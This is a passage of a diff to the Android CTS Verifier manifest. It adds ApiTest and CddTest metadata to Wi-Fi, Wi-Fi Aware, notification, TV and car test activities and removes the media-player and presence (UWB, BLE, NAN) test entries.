android:name="display_mode" android:value="multi_display_mode" /> + <meta-data android:name="ApiTest" + android:value="android.widget.Toast#makeText" /> </activity> <activity android:name=".notifications.BubblesVerifierActivity" @@ -3192,6 +3245,8 @@ android:value="android.hardware.type.watch:android.software.leanback:android.hardware.type.automotive" /> <meta-data android:name="display_mode" android:value="multi_display_mode" /> + <meta-data android:name="ApiTest" + android:value="android.app.Notification.Builder#setBubbleMetadata|android.app.NotificationManager#notify" /> </activity> <activity android:name=".notifications.BubbleActivity" @@ -3212,22 +3267,6 @@ android:value="multi_display_mode" /> </activity> - <activity android:name=".notifications.MediaPlayerVerifierActivity" - android:label="@string/media_controls_title" - android:exported="true"> - <intent-filter> - <action android:name="android.intent.action.MAIN" /> - <category android:name="android.cts.intent.category.MANUAL_TEST" /> - </intent-filter> - - <meta-data android:name="test_category" - android:value="@string/test_category_notifications" /> - <meta-data android:name="test_excluded_features" - android:value="android.hardware.type.watch:android.software.leanback:android.hardware.type.automotive" /> - <meta-data android:name="display_mode" - android:value="multi_display_mode" /> - </activity> - <service android:name=".notifications.MockListener" android:exported="true" android:label="@string/nls_service_name" @@ -3263,6 +3302,7 @@ android:value="android.hardware.type.watch:android.software.leanback:android.hardware.type.automotive" /> <meta-data android:name="display_mode" android:value="multi_display_mode" /> + <meta-data android:name="CddTest" android:value="3.8.1/C-4-1" /> </activity> <activity android:name=".qstiles.TileServiceVerifierActivity" @@ -3479,6 +3519,14 @@ android:configChanges="keyboardHidden|orientation|screenSize" > <meta-data android:name="display_mode" android:value="single_display_mode" /> + <meta-data android:name="ApiTest" + android:value="android.net.wifi.WifiNetworkSpecifier.Builder#build + |android.net.wifi.WifiNetworkSpecifier.Builder#setSsidPattern + |android.net.wifi.WifiNetworkSpecifier.Builder#setBssidPattern + |android.net.wifi.WifiNetworkSpecifier.Builder#setWpa2Passphrase + |android.net.wifi.WifiNetworkSpecifier.Builder#setWpa2Passphrase + |android.net.NetworkRequest.Builder#setNetworkSpecifier + |android.net.ConnectivityManager#requestNetwork" /> </activity> <activity android:name=".wifi.NetworkRequestPatternNetworkSpecifierTestActivity" @@ -3486,6 +3534,14 @@ android:configChanges="keyboardHidden|orientation|screenSize" > <meta-data android:name="display_mode" android:value="single_display_mode" /> + <meta-data android:name="ApiTest" + android:value="android.net.wifi.WifiNetworkSpecifier.Builder#build + |android.net.wifi.WifiNetworkSpecifier.Builder#setSsidPattern + |android.net.wifi.WifiNetworkSpecifier.Builder#setBssidPattern + |android.net.wifi.WifiNetworkSpecifier.Builder#setWpa2Passphrase + |android.net.wifi.WifiNetworkSpecifier.Builder#setWpa2Passphrase + |android.net.NetworkRequest.Builder#setNetworkSpecifier + |android.net.ConnectivityManager#requestNetwork" /> </activity> <activity android:name=".wifi.NetworkRequestUnavailableNetworkSpecifierTestActivity" @@ -3493,6 +3549,14 @@ android:configChanges="keyboardHidden|orientation|screenSize" > <meta-data android:name="display_mode" android:value="single_display_mode" /> + <meta-data android:name="ApiTest" + android:value="android.net.wifi.WifiNetworkSpecifier.Builder#build + |android.net.wifi.WifiNetworkSpecifier.Builder#setSsidPattern + |android.net.wifi.WifiNetworkSpecifier.Builder#setBssidPattern + |android.net.wifi.WifiNetworkSpecifier.Builder#setWpa2Passphrase + |android.net.wifi.WifiNetworkSpecifier.Builder#setWpa2Passphrase + |android.net.NetworkRequest.Builder#setNetworkSpecifier + |android.net.ConnectivityManager#requestNetwork" /> </activity> <activity android:name=".wifi.NetworkRequestInvalidCredentialNetworkSpecifierTestActivity" @@ -3500,6 +3564,14 @@ android:configChanges="keyboardHidden|orientation|screenSize" > <meta-data android:name="display_mode" android:value="single_display_mode" /> + <meta-data android:name="ApiTest" + android:value="android.net.wifi.WifiNetworkSpecifier.Builder#build + |android.net.wifi.WifiNetworkSpecifier.Builder#setSsid + |android.net.wifi.WifiNetworkSpecifier.Builder#setBssid + |android.net.wifi.WifiNetworkSpecifier.Builder#setWpa2Passphrase + |android.net.wifi.WifiNetworkSpecifier.Builder#setWpa2Passphrase + |android.net.NetworkRequest.Builder#setNetworkSpecifier + |android.net.ConnectivityManager#requestNetwork" /> </activity> <activity android:name=".wifi.NetworkSuggestionSsidTestActivity" @@ -3507,6 +3579,19 @@ android:configChanges="keyboardHidden|orientation|screenSize" > <meta-data android:name="display_mode" android:value="single_display_mode" /> + <meta-data android:name="ApiTest" + android:value="android.net.wifi.WifiNetworkSuggestion.Builder#build + |android.net.wifi.WifiNetworkSuggestion.Builder#setSsid + |android.net.wifi.WifiNetworkSuggestion.Builder#setBssid + |android.net.wifi.WifiNetworkSuggestion.Builder#setWpa2Passphrase + |android.net.wifi.WifiNetworkSuggestion.Builder#setWpa3Passphrase + |android.net.wifi.WifiNetworkSuggestion.Builder#setIsMetered + |android.net.wifi.WifiManager#addNetworkSuggestions + |android.net.wifi.WifiManager#addSuggestionUserApprovalStatusListener + |android.net.wifi.WifiManager#getNetworkSuggestions + |android.net.wifi.WifiManager#removeNetworkSuggestions + |android.net.wifi.WifiManager#removeSuggestionConnectionStatusListener + |android.net.wifi.WifiManager#addSuggestionConnectionStatusListener" /> </activity> <activity android:name=".wifi.NetworkSuggestionSsidBssidTestActivity" @@ -3514,6 +3599,19 @@ android:configChanges="keyboardHidden|orientation|screenSize" > <meta-data android:name="display_mode" android:value="single_display_mode" /> + <meta-data android:name="ApiTest" + android:value="android.net.wifi.WifiNetworkSuggestion.Builder#build + |android.net.wifi.WifiNetworkSuggestion.Builder#setSsid + |android.net.wifi.WifiNetworkSuggestion.Builder#setBssid + |android.net.wifi.WifiNetworkSuggestion.Builder#setWpa2Passphrase + |android.net.wifi.WifiNetworkSuggestion.Builder#setWpa3Passphrase + |android.net.wifi.WifiNetworkSuggestion.Builder#setIsMetered + |android.net.wifi.WifiManager#addNetworkSuggestions + |android.net.wifi.WifiManager#addSuggestionUserApprovalStatusListener + |android.net.wifi.WifiManager#getNetworkSuggestions + |android.net.wifi.WifiManager#removeNetworkSuggestions + |android.net.wifi.WifiManager#removeSuggestionConnectionStatusListener + |android.net.wifi.WifiManager#addSuggestionConnectionStatusListener" /> </activity> <activity android:name=".wifi.NetworkSuggestionSsidPostConnectTestActivity" @@ -3521,6 +3619,19 @@ android:configChanges="keyboardHidden|orientation|screenSize" > <meta-data android:name="display_mode" android:value="single_display_mode" /> + <meta-data android:name="ApiTest" + android:value="android.net.wifi.WifiNetworkSuggestion.Builder#build + |android.net.wifi.WifiNetworkSuggestion.Builder#setSsid + |android.net.wifi.WifiNetworkSuggestion.Builder#setBssid + |android.net.wifi.WifiNetworkSuggestion.Builder#setWpa2Passphrase + |android.net.wifi.WifiNetworkSuggestion.Builder#setWpa3Passphrase + |android.net.wifi.WifiNetworkSuggestion.Builder#setIsMetered + |android.net.wifi.WifiManager#addNetworkSuggestions + |android.net.wifi.WifiManager#addSuggestionUserApprovalStatusListener + |android.net.wifi.WifiManager#getNetworkSuggestions + |android.net.wifi.WifiManager#removeNetworkSuggestions + |android.net.wifi.WifiManager#removeSuggestionConnectionStatusListener + |android.net.wifi.WifiManager#addSuggestionConnectionStatusListener" /> </activity> <activity android:name=".wifi.NetworkSuggestionConnectionFailureTestActivity" @@ -3528,6 +3639,19 @@ android:configChanges="keyboardHidden|orientation|screenSize" > <meta-data android:name="display_mode" android:value="single_display_mode" /> + <meta-data android:name="ApiTest" + android:value="android.net.wifi.WifiNetworkSuggestion.Builder#build + |android.net.wifi.WifiNetworkSuggestion.Builder#setSsid + |android.net.wifi.WifiNetworkSuggestion.Builder#setBssid + |android.net.wifi.WifiNetworkSuggestion.Builder#setWpa2Passphrase + |android.net.wifi.WifiNetworkSuggestion.Builder#setWpa3Passphrase + |android.net.wifi.WifiNetworkSuggestion.Builder#setIsMetered + |android.net.wifi.WifiManager#addNetworkSuggestions + |android.net.wifi.WifiManager#addSuggestionUserApprovalStatusListener + |android.net.wifi.WifiManager#getNetworkSuggestions + |android.net.wifi.WifiManager#removeNetworkSuggestions + |android.net.wifi.WifiManager#removeSuggestionConnectionStatusListener + |android.net.wifi.WifiManager#addSuggestionConnectionStatusListener" /> </activity> <activity android:name=".wifi.NetworkSuggestionModificationInPlaceTestActivity" @@ -3535,6 +3659,19 @@ android:configChanges="keyboardHidden|orientation|screenSize" > <meta-data android:name="display_mode" android:value="single_display_mode" /> + <meta-data android:name="ApiTest" + android:value="android.net.wifi.WifiNetworkSuggestion.Builder#build + |android.net.wifi.WifiNetworkSuggestion.Builder#setSsid + |android.net.wifi.WifiNetworkSuggestion.Builder#setBssid + |android.net.wifi.WifiNetworkSuggestion.Builder#setWpa2Passphrase + |android.net.wifi.WifiNetworkSuggestion.Builder#setWpa3Passphrase + |android.net.wifi.WifiNetworkSuggestion.Builder#setIsMetered + |android.net.wifi.WifiManager#addNetworkSuggestions + |android.net.wifi.WifiManager#addSuggestionUserApprovalStatusListener + |android.net.wifi.WifiManager#getNetworkSuggestions + |android.net.wifi.WifiManager#removeNetworkSuggestions + |android.net.wifi.WifiManager#removeSuggestionConnectionStatusListener + |android.net.wifi.WifiManager#addSuggestionConnectionStatusListener" /> </activity> <activity android:name=".p2p.GoNegRequesterTestListActivity" @@ -3698,6 +3835,9 @@ android:configChanges="keyboardHidden|orientation|screenSize" > <meta-data android:name="display_mode" android:value="single_display_mode" /> + <meta-data android:name="ApiTest" + android:value="android.net.wifi.aware.PublishConfig.Builder#setPublishType + |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build" /> </activity> <activity android:name=".wifiaware.DataPathOpenPassiveSubscribeTestActivity" @@ -3705,6 +3845,9 @@ android:configChanges="keyboardHidden|orientation|screenSize" > <meta-data android:name="display_mode" android:value="single_display_mode" /> + <meta-data android:name="ApiTest" + android:value="android.net.wifi.aware.SubscribeConfig.Builder#setSubscribeType + |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build" /> </activity> <activity android:name=".wifiaware.DataPathOpenPassiveSubscribeAcceptAnyTestActivity" @@ -3712,6 +3855,10 @@ android:configChanges="keyboardHidden|orientation|screenSize" > <meta-data android:name="display_mode" android:value="single_display_mode" /> + <meta-data android:name="ApiTest" + android:value="android.net.wifi.aware.SubscribeConfig.Builder#setSubscribeType + |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#Builder + |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build" /> </activity> <activity android:name=".wifiaware.DataPathPassphraseUnsolicitedPublishTestActivity" @@ -3719,6 +3866,9 @@ android:configChanges="keyboardHidden|orientation|screenSize" > <meta-data android:name="display_mode" android:value="single_display_mode" /> + <meta-data android:name="ApiTest" + android:value="android.net.wifi.aware.PublishConfig.Builder#setPublishType + |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build" /> </activity> <activity android:name=".wifiaware.DataPathPassphrasePassiveSubscribeTestActivity" @@ -3726,6 +3876,10 @@ android:configChanges="keyboardHidden|orientation|screenSize" > <meta-data android:name="display_mode" android:value="single_display_mode" /> + <meta-data android:name="ApiTest" + android:value="android.net.wifi.aware.SubscribeConfig.Builder#setSubscribeType + |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#setPskPassphrase + |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build" /> </activity> <activity android:name=".wifiaware.DataPathPassphrasePassiveSubscribeAcceptAnyTestActivity" @@ -3733,6 +3887,10 @@ android:configChanges="keyboardHidden|orientation|screenSize" > <meta-data android:name="display_mode" android:value="single_display_mode" /> + <meta-data android:name="ApiTest" + android:value="android.net.wifi.aware.SubscribeConfig.Builder#setSubscribeType + |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#setPskPassphrase + |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build" /> </activity> <activity android:name=".wifiaware.DataPathPmkUnsolicitedPublishTestActivity" @@ -3740,6 +3898,10 @@ android:configChanges="keyboardHidden|orientation|screenSize" > <meta-data android:name="display_mode" android:value="single_display_mode" /> + <meta-data android:name="ApiTest" + android:value="android.net.wifi.aware.PublishConfig.Builder#setPublishType + |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#setPmk + |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build" /> </activity> <activity android:name=".wifiaware.DataPathPmkPassiveSubscribeTestActivity" @@ -3747,6 +3909,10 @@ android:configChanges="keyboardHidden|orientation|screenSize" > <meta-data android:name="display_mode" android:value="single_display_mode" /> + <meta-data android:name="ApiTest" + android:value="android.net.wifi.aware.SubscribeConfig.Builder#setSubscribeType + |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#setPmk + |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build" /> </activity> <activity android:name=".wifiaware.DataPathPmkPassiveSubscribeAcceptAnyTestActivity" @@ -3754,6 +3920,11 @@ android:configChanges="keyboardHidden|orientation|screenSize" > <meta-data android:name="display_mode" android:value="single_display_mode" /> + <meta-data android:name="ApiTest" + android:value="android.net.wifi.aware.SubscribeConfig.Builder#setSubscribeType + |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#setPmk + |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build + |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#Builder" /> </activity> <activity android:name=".wifiaware.DataPathOpenSolicitedPublishTestActivity" @@ -3761,6 +3932,9 @@ android:configChanges="keyboardHidden|orientation|screenSize" > <meta-data android:name="display_mode" android:value="single_display_mode" /> + <meta-data android:name="ApiTest" + android:value="android.net.wifi.aware.PublishConfig.Builder#setPublishType + |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build" /> </activity> <activity android:name=".wifiaware.DataPathOpenActiveSubscribeTestActivity" @@ -3768,6 +3942,9 @@ android:configChanges="keyboardHidden|orientation|screenSize" > <meta-data android:name="display_mode" android:value="single_display_mode" /> + <meta-data android:name="ApiTest" + android:value="android.net.wifi.aware.SubscribeConfig.Builder#setSubscribeType + |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build" /> </activity> <activity android:name=".wifiaware.DataPathOpenActiveSubscribeAcceptAnyTestActivity" @@ -3775,6 +3952,10 @@ android:configChanges="keyboardHidden|orientation|screenSize" > <meta-data android:name="display_mode" android:value="single_display_mode" /> + <meta-data android:name="ApiTest" + android:value="android.net.wifi.aware.SubscribeConfig.Builder#setSubscribeType + |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#Builder + |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build" /> </activity> <activity android:name=".wifiaware.DataPathPassphraseSolicitedPublishTestActivity" @@ -3782,6 +3963,10 @@ android:configChanges="keyboardHidden|orientation|screenSize" > <meta-data android:name="display_mode" android:value="single_display_mode" /> + <meta-data android:name="ApiTest" + android:value="android.net.wifi.aware.PublishConfig.Builder#setPublishType + |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#setPassphrase + |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build" /> </activity> <activity android:name=".wifiaware.DataPathPassphraseActiveSubscribeTestActivity" @@ -3789,6 +3974,10 @@ android:configChanges="keyboardHidden|orientation|screenSize" > <meta-data android:name="display_mode" android:value="single_display_mode" /> + <meta-data android:name="ApiTest" + android:value="android.net.wifi.aware.SubscribeConfig.Builder#setSubscribeType + |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#setPskPassphrase + |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build" /> </activity> <activity android:name=".wifiaware.DataPathPassphraseActiveSubscribeAcceptAnyTestActivity" @@ -3796,6 +3985,11 @@ android:configChanges="keyboardHidden|orientation|screenSize" > <meta-data android:name="display_mode" android:value="single_display_mode" /> + <meta-data android:name="ApiTest" + android:value="android.net.wifi.aware.SubscribeConfig.Builder#setSubscribeType + |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#setPskPassphrase + |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#Builder + |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build" /> </activity> <activity android:name=".wifiaware.DataPathPmkSolicitedPublishTestActivity" @@ -3803,6 +3997,10 @@ android:configChanges="keyboardHidden|orientation|screenSize" > <meta-data android:name="display_mode" android:value="single_display_mode" /> + <meta-data android:name="ApiTest" + android:value="android.net.wifi.aware.PublishConfig.Builder#setPublishType + |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#setPmk + |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build" /> </activity> <activity android:name=".wifiaware.DataPathPmkActiveSubscribeTestActivity" @@ -3810,6 +4008,10 @@ android:configChanges="keyboardHidden|orientation|screenSize" > <meta-data android:name="display_mode" android:value="single_display_mode" /> + <meta-data android:name="ApiTest" + android:value="android.net.wifi.aware.SubscribeConfig.Builder#setSubscribeType + |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#setPmk + |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build" /> </activity> <activity android:name=".wifiaware.DataPathPmkActiveSubscribeAcceptAnyTestActivity" @@ -3817,6 +4019,11 @@ android:configChanges="keyboardHidden|orientation|screenSize" > <meta-data android:name="display_mode" android:value="single_display_mode" /> + <meta-data android:name="ApiTest" + android:value="android.net.wifi.aware.SubscribeConfig.Builder#setSubscribeType + |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#setPmk + |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build + |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#Builder" /> </activity> <activity android:name=".wifiaware.DataPathOobOpenResponderTestActivity" @@ -3824,6 +4031,8 @@ android:configChanges="keyboardHidden|orientation|screenSize" > <meta-data android:name="display_mode" android:value="single_display_mode" /> + <meta-data android:name="ApiTest" + android:value="android.net.wifi.aware.WifiAwareSession#createNetworkSpecifierOpen" /> </activity> <activity android:name=".wifiaware.DataPathOobOpenInitiatorTestActivity" @@ -3831,6 +4040,8 @@ android:configChanges="keyboardHidden|orientation|screenSize" > <meta-data android:name="display_mode" android:value="single_display_mode" /> + <meta-data android:name="ApiTest" + android:value="android.net.wifi.aware.WifiAwareSession#createNetworkSpecifierOpen" /> </activity> <activity android:name=".wifiaware.DataPathOobPassphraseResponderTestActivity" @@ -3838,6 +4049,8 @@ android:configChanges="keyboardHidden|orientation|screenSize" > <meta-data android:name="display_mode" android:value="single_display_mode" /> + <meta-data android:name="ApiTest" + android:value="android.net.wifi.aware.WifiAwareSession#createNetworkSpecifierPassphrase" /> </activity> <activity android:name=".wifiaware.DataPathOobPassphraseInitiatorTestActivity" @@ -3845,6 +4058,8 @@ android:configChanges="keyboardHidden|orientation|screenSize" > <meta-data android:name="display_mode" android:value="single_display_mode" /> + <meta-data android:name="ApiTest" + android:value="android.net.wifi.aware.WifiAwareSession#createNetworkSpecifierPassphrase" /> </activity> <activity android:name=".wifiaware.DiscoveryRangingPublishTestActivity" @@ -3852,6 +4067,12 @@ android:configChanges="keyboardHidden|orientation|screenSize" > <meta-data android:name="display_mode" android:value="single_display_mode" /> + <meta-data android:name="ApiTest" + android:value="android.net.wifi.rtt.RangingRequest.Builder#addWifiAwarePeer + |android.net.wifi.aware.PublishConfig.Builder#setRangingEnabled + |android.net.wifi.rtt.WifiRttManager#startRanging + |android.net.wifi.aware.WifiAwareManager#attach + |android.net.wifi.aware.WifiAwareSession#publish" /> </activity> <activity android:name=".wifiaware.DiscoveryRangingSubscribeTestActivity" @@ -3859,6 +4080,12 @@ android:configChanges="keyboardHidden|orientation|screenSize" > <meta-data android:name="display_mode" android:value="single_display_mode" /> + <meta-data android:name="ApiTest" + android:value="android.net.wifi.rtt.RangingRequest.Builder#addWifiAwarePeer + |android.net.wifi.aware.SubscribeConfig.Builder#setMaxDistanceMm + |android.net.wifi.rtt.WifiRttManager#startRanging + |android.net.wifi.aware.WifiAwareManager#attach + |android.net.wifi.aware.WifiAwareSession#subscrible" /> </activity> <activity android:name=".wifiaware.DataPathOpenSolicitedPublishAcceptAnyTestActivity" @@ -3866,6 +4093,10 @@ android:configChanges="keyboardHidden|orientation|screenSize" > <meta-data android:name="display_mode" android:value="single_display_mode" /> + <meta-data android:name="ApiTest" + android:value="android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#Builder + |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build + |android.net.NetworkCapabilities#TRANSPORT_WIFI_AWARE" /> </activity> <activity android:name=".wifiaware.DataPathPmkUnsolicitedPublishAcceptAnyTestActivity" @@ -3873,6 +4104,10 @@ android:configChanges="keyboardHidden|orientation|screenSize" > <meta-data android:name="display_mode" android:value="single_display_mode" /> + <meta-data android:name="ApiTest" + android:value="android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#Builder + |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#build + |android.net.NetworkCapabilities#TRANSPORT_WIFI_AWARE" /> </activity> <activity android:name=".wifiaware.DataPathPmkSolicitedPublishAcceptAnyTestActivity" @@ -3880,6 +4115,9 @@ android:configChanges="keyboardHidden|orientation|screenSize" > <meta-data android:name="display_mode" android:value="single_display_mode" /> + <meta-data android:name="ApiTest" + android:value="android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#Builder + |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#setPmk" /> </activity> <activity android:name=".wifiaware.DataPathPassphraseUnsolicitedPublishAcceptAnyTestActivity" @@ -3887,6 +4125,9 @@ android:configChanges="keyboardHidden|orientation|screenSize" > <meta-data android:name="display_mode" android:value="single_display_mode" /> + <meta-data android:name="ApiTest" + android:value="android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#Builder + |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#setPskPassphrase" /> </activity> <activity android:name=".wifiaware.DataPathPassphraseSolicitedPublishAcceptAnyTestActivity" @@ -3894,6 +4135,9 @@ android:configChanges="keyboardHidden|orientation|screenSize" > <meta-data android:name="display_mode" android:value="single_display_mode" /> + <meta-data android:name="ApiTest" + android:value="android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#Builder + |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#setPskPassphrase" /> </activity> <activity android:name=".wifiaware.DataPathOpenUnsolicitedPublishAcceptAnyTestActivity" @@ -3901,6 +4145,9 @@ android:configChanges="keyboardHidden|orientation|screenSize" > <meta-data android:name="display_mode" android:value="single_display_mode" /> + <meta-data android:name="ApiTest" + android:value="android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#Builder + |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#setPskPassphrase" /> </activity> <activity android:name=".wifiaware.DataPathForceChannelSetupSubscribeTestActivity" @@ -3908,6 +4155,9 @@ android:configChanges="keyboardHidden|orientation|screenSize" > <meta-data android:name="display_mode" android:value="single_display_mode" /> + <meta-data android:name="ApiTest" + android:value="android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#Builder + |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#setChannelFrequencyMhz" /> </activity> <activity android:name=".wifiaware.DataPathForceChannelSetupPublishTestActivity" @@ -3915,174 +4165,9 @@ android:configChanges="keyboardHidden|orientation|screenSize" > <meta-data android:name="display_mode" android:value="single_display_mode" /> - </activity> - - <!-- CTS Verifier Presence Test Top Screen --> - <activity - android:name=".presence.PresenceTestActivity" - android:configChanges="keyboardHidden|orientation|screenSize" - android:exported="true" - android:label="@string/presence_test" > - <intent-filter> - <action android:name="android.intent.action.MAIN" /> - - <category android:name="android.cts.intent.category.MANUAL_TEST" /> - </intent-filter> - - <meta-data - android:name="test_category" - android:value="@string/test_category_networking" /> - <meta-data android:name="display_mode" - android:value="single_display_mode" /> - </activity> - - <!-- - CTS Verifier Uwb Precision Test Screen - test category : uwb - test parent : PresenceTestActivity - --> - <activity - android:name=".presence.UwbPrecisionActivity" - android:configChanges="keyboardHidden|orientation|screenSize" - android:exported="true" - android:label="@string/uwb_precision" > - <intent-filter> - <action android:name="android.intent.action.MAIN" /> - - <category android:name="android.cts.intent.category.MANUAL_TEST" /> - </intent-filter> - - <meta-data - android:name="test_category" - android:value="@string/uwb" /> - <meta-data - android:name="test_parent" - android:value="com.android.cts.verifier.presence.PresenceTestActivity" /> - <meta-data android:name="display_mode" - android:value="single_display_mode" /> - <meta-data android:name="CddTest" - android:value="7.4.9/C-1-1" /> - </activity> - - <!-- - CTS Verifier Uwb Short Range Test Screen - test category : uwb - test parent : PresenceTestActivity - --> - <activity - android:name=".presence.UwbShortRangeActivity" - android:configChanges="keyboardHidden|orientation|screenSize" - android:exported="true" - android:label="@string/uwb_short_range" > - <intent-filter> - <action android:name="android.intent.action.MAIN" /> - - <category android:name="android.cts.intent.category.MANUAL_TEST" /> - </intent-filter> - - <meta-data - android:name="test_category" - android:value="@string/uwb" /> - <meta-data - android:name="test_parent" - android:value="com.android.cts.verifier.presence.PresenceTestActivity" /> - <meta-data - android:name="display_mode" - android:value="single_display_mode" /> - <meta-data - android:name="CddTest" - android:value="7.4.9/C-1-2" /> - </activity> - - <!-- - CTS Verifier BLE RSSI Precision Test Screen - test category : BLE - test parent : PresenceTestActivity - --> - <activity - android:name=".presence.BleRssiPrecisionActivity" - android:exported="true" - android:label="@string/ble_rssi_precision_name"> - <intent-filter> - <action android:name="android.intent.action.MAIN" /> - - <category android:name="android.cts.intent.category.MANUAL_TEST" /> - </intent-filter> - - <meta-data - android:name="test_category" - android:value="@string/ble" /> - <meta-data - android:name="test_parent" - android:value="com.android.cts.verifier.presence.PresenceTestActivity" /> - <meta-data - android:name="test_required_features" - android:value="android.hardware.bluetooth_le" /> - <meta-data - android:name="display_mode" - android:value="single_display_mode" /> - <meta-data - android:name="CddText" - android:value="7.4.3/C-7-1" /> - </activity> - - <!-- - CTS Verifier BLE Rx/Tx Calibration Test Screen - test category : BLE - test parent : PresenceTestActivity - --> - <activity - android:name=".presence.BleRxTxCalibrationActivity" - android:exported="true" - android:label="@string/ble_rx_tx_calibration_name"> - <intent-filter> - <action android:name="android.intent.action.MAIN" /> - - <category android:name="android.cts.intent.category.MANUAL_TEST" /> - </intent-filter> - - <meta-data - android:name="test_category" - android:value="@string/ble" /> - <meta-data - android:name="test_parent" - android:value="com.android.cts.verifier.presence.PresenceTestActivity" /> - <meta-data - android:name="test_required_features" - android:value="android.hardware.bluetooth_le" /> - <meta-data - android:name="display_mode" - android:value="single_display_mode" /> - <meta-data - android:name="CddText" - android:value="7.4.3/C-7-2" /> - </activity> - - <!-- CTS Verifier Nan Precision and Bias Test Screen - test category : wifi_nan - test parent : PresenceTestActivity - --> - <activity - android:name=".presence.NanPrecisionTestActivity" - android:configChanges="keyboardHidden|orientation|screenSize" - android:exported="true" - android:label="@string/nan_precision" > - <intent-filter> - <action android:name="android.intent.action.MAIN" /> - - <category android:name="android.cts.intent.category.MANUAL_TEST" /> - </intent-filter> - - <meta-data - android:name="test_category" - android:value="@string/wifi_nan" /> - <meta-data - android:name="test_parent" - android:value="com.android.cts.verifier.presence.PresenceTestActivity" /> - <meta-data android:name="display_mode" - android:value="single_display_mode" /> - <meta-data android:name="CddTest" - android:value="7.4.2.5/H-1-1|7.4.2.5/H-1-2" /> + <meta-data android:name="ApiTest" + android:value="android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#Builder + |android.net.wifi.aware.WifiAwareNetworkSpecifier.Builder#setChannelFrequencyMhz" /> </activity> <activity-alias @@ -4123,6 +4208,7 @@ android:value="android.hardware.type.automotive:android.hardware.ram.low" /> <meta-data android:name="display_mode" android:value="multi_display_mode" /> + <meta-data android:name="CddTest" android:value="3.8.2/C-1-2,C-1-3" /> </activity> <activity android:name=".deskclock.DeskClockTestsActivity" @@ -4991,6 +5077,8 @@ android:value="android.hardware.type.automotive" /> <meta-data android:name="display_mode" android:value="multi_display_mode" /> + <meta-data android:name="ApiTest" + android:value="android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback" /> </activity> <activity android:name=".tv.TvInputDiscoveryTestActivity" @@ -5054,6 +5142,7 @@ android:exported="true" android:launchMode="singleTask"> <intent-filter> + <action android:name="android.intent.action.VIEW" /> <action android:name="android.intent.action.MAIN" /> <category android:name="android.cts.intent.category.MANUAL_TEST" /> </intent-filter> @@ -5062,6 +5151,8 @@ android:value="android.software.live_tv" /> <meta-data android:name="display_mode" android:value="multi_display_mode" /> + <meta-data android:name="CddTest" + android:value="3.12/C-1-2" /> </activity> <activity android:name=".tv.MicrophoneDeviceTestActivity" @@ -5143,6 +5234,7 @@ android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch:android.hardware.type.automotive" /> <meta-data android:name="display_mode" android:value="multi_display_mode" /> + <meta-data android:name="CddTest" android:value="3.8.8/C-1-2"/> </activity> <activity android:name=".tv.MockTvInputSetupActivity" @@ -5629,6 +5721,8 @@ android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch:android.hardware.type.automotive" /> <meta-data android:name="display_mode" android:value="multi_display_mode" /> + <meta-data android:name="ApiTest" + android:value="android.content.Intent#CATEGORY_CAR_DOCK" /> </activity> <activity android:name=".car.CarDockActivity" @@ -5641,6 +5735,8 @@ </intent-filter> <meta-data android:name="display_mode" android:value="multi_display_mode" /> + <meta-data android:name="ApiTest" + android:value="android.content.Intent#CATEGORY_CAR_DOCK" /> </activity> <!-- See explaination in CarDockTestActivity.java --> @@ -5670,6 +5766,7 @@ <meta-data android:name="test_category" android:value="@string/test_category_car" /> <meta-data android:name="test_required_features" android:value="android.hardware.type.automotive"/> + <meta-data android:name="CddTest" android:value="8.3/A-1-3|8.3/A-1-4" /> </activity> <activity android:name=".car.PowerPolicyTestActivity" @@ -5684,6 +5781,8 @@ android:value="android.hardware.type.automotive"/> <meta-data android:name="display_mode" android:value="multi_display_mode" /> + <meta-data android:name="ApiTest" + 